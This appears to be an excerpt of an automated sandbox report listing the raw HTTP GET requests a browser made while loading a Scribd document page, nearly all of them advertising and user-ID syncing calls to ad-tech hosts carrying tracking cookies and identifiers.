Source: global traffic	HTTP traffic detected: GET /websiteconfig?bt_env=prod&o=5714937848528896&w=scribd.com&l=EN HTTP/1.1Host: api.btmessage.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/g_hosted?id=AU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: ids.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: au_id=AU1D-0100-001739863208-59L27RBO-LEXM; au_3p_check=1
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=insticator&zcc=1&cb=1739863210401 HTTP/1.1Host: sync.1rx.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /us?https://ids.ad.gt/api/v1/son_match?id=AU1D-0100-001739863208-59L27RBO-LEXM&uid=[UID]&gdpr=0 HTTP/1.1Host: sync.go.sonobi.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usync.js HTTP/1.1Host: eus.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://eus.rubiconproject.com/usync.html?us_privacy=1-N-Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0oq4I6BwCEg9fyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXNAPlTu0R9RN; khaos_p=M7A5MT0O-13-DO11
Source: global traffic	HTTP traffic detected: GET /sync?us_privacy=1-N-&&ld=1 HTTP/1.1Host: eb2.3lift.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: receive-cookie-deprecation=1; tluidp=4416503600587711592667
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: geo.privacymanager.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=insticator&us_privacy=1-N-&gdpr=0 HTTP/1.1Host: x.bidswitch.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive/check?partner_id=3185&partner_device_id=AU1D-0100-001739863208-59L27RBO-LEXM&partner_url=https://ids.ad.gt%2Fapi%2Fv1%2Ftapad_match%3Fid%3DAU1D-0100-001739863208-59L27RBO-LEXM%26tapad_id%3D%24%7BTA_DEVICE_ID%7D HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/openx?openx_id=378502ae-9c96-4b0b-9552-c7277e673193&id=AU1D-0100-001739863208-59L27RBO-LEXM&auid=AU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: ids.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: au_id=AU1D-0100-001739863208-59L27RBO-LEXM; au_3p_check=1
Source: global traffic	HTTP traffic detected: GET /rules-p-UeXruRVtZz7w6.js HTTP/1.1Host: rules.quantcount.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/amo_match?turn_id=2831842467808715845&id=AU1D-0100-001739863208-59L27RBO-LEXM HTTP/1.1Host: ids.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: au_id=AU1D-0100-001739863208-59L27RBO-LEXM; au_3p_check=1
Source: global traffic	HTTP traffic detected: GET /api/v1/match?id=AU1D-0100-001739863208-59L27RBO-LEXM&adnxs_id=2630127119070967565&gdpr=0 HTTP/1.1Host: ids.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: au_id=AU1D-0100-001739863208-59L27RBO-LEXM; au_3p_check=1
Source: global traffic	HTTP traffic detected: GET /s/441/9.gif?puid=u_7fb5b5e5-fe03-4853-b9a4-c08f05008c91&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /s/441/9.gif?puid=u_7459a9b8-1486-4e4a-b30a-1f160c22b2d9&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /s/441/9.gif?puid=u_2c483b47-bf2b-4e11-a58c-5b96c7b774d9&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/son_match?id=AU1D-0100-001739863208-59L27RBO-LEXM&uid=c5a1b939-3760-44ac-875e-a655dd180d0b&gdpr=0 HTTP/1.1Host: ids.ad.gtConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: au_id=AU1D-0100-001739863208-59L27RBO-LEXM; au_3p_check=1
Source: global traffic	HTTP traffic detected: GET /wdc/v1/sync/openx/65023955-4816-4674-89c6-bc6e7f69d9a0?uid=f774941a-45b7-4e8f-b6be-610608861271 HTTP/1.1Host: cs.ingage.techConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: __cf_bm=BDUwEWmSEFPGRv5FaDlLasay6hm0Aj6PQ31LRRhZ8Jk-1739863209-1.0.1.1-jyV.frSirUFWPei.rMRXF3Yc5_GFIVrg87NRKIwtpDSIpLr60DoJ9dNdyhnXnok_e6t8cng03MnfpEYDbdm.yQ
Source: global traffic	HTTP traffic detected: GET /v1/syncPage/unruly?uid=OPTOUT HTTP/1.1Host: cs.ingage.techConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: __cf_bm=BDUwEWmSEFPGRv5FaDlLasay6hm0Aj6PQ31LRRhZ8Jk-1739863209-1.0.1.1-jyV.frSirUFWPei.rMRXF3Yc5_GFIVrg87NRKIwtpDSIpLr60DoJ9dNdyhnXnok_e6t8cng03MnfpEYDbdm.yQ
Source: global traffic	HTTP traffic detected: GET /dna HTTP/1.1Host: dnacdn.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://gum.criteo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://gum.criteo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /newidsd HTTP/1.1Host: gem.gbc.criteo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://gum.criteo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://gum.criteo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /newidsd HTTP/1.1Host: ag.gbc.criteo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://gum.criteo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://gum.criteo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /check/106 HTTP/1.1Host: check.analytics.rlcdn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47content-type: text/plainAccept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /s/441/9.gif?puid=u_4aac52bd-6762-4a7e-902d-2ea9adf328d8&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/bt-rlink-storage-OAPAZjOc.html HTTP/1.1Host: cdn.btmessage.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=278d49a0-7438-4d91-b279-4140b7a88103%252Chttps%25253A%25252F%25252Fids.ad.gt%25252Fapi%25252Fv1%25252Ftapad_match%25253Fid%25253DAU1D-0100-001739863208-59L27RBO-LEXM%252526tapad_id%25253D278d49a0-7438-4d91-b279-4140b7a88103%252C&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /sync?ssp=themediagrid&us_privacy=1-N- HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /s/441/9.gif?puid=u_40f4d0d1-7d43-400a-9ea4-194c05016048&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /configs/0ab198dd-b265-462a-ae36-74e163ad6159 HTTP/1.1Host: config.aps.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /profiles_engine/ProfilesEngineServlet?at=39&mi=10&dpi=793790479&pt=17&dpn=1&jsver=5.09&iiqidtype=2&iiqpcid=98462f66-2862-485b-9a28-0b254f56e457&iiqpciddate=1739863210882&iiqcallcount=0&iiqfailcount=0&iiqnodata=false&iiqlocalstorageenabled=true&tsrnd=692_1739863210883&fbp=137264061&cttl=43200000&rrtt=0&dud=0&abtg=A&iiqppcc=0&vrref=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ref=www.scribd.com HTTP/1.1Host: api.intentiq.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.scribd.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&secure=1&dpi=793790479&rnd=407267&iiqidtype=2&iiqpcid=98462f66-2862-485b-9a28-0b254f56e457&iiqpciddate=1739863210882&tsrnd=787_1739863210885&fbp=137264061&vrref=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&jsver=5.09 HTTP/1.1Host: sync.intentiq.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/js/user_sync.html?p=159196&userIdMacro=PM_UID&gdpr=0&gdpr_consent=&predirect=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D91%26advUuid%3DPM_UID%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ads.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmphb?gdpr=&gdpr_consent=&us_privacy=1-N-&redir=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Di%26uid%3D%5BRX_UUID%5D HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
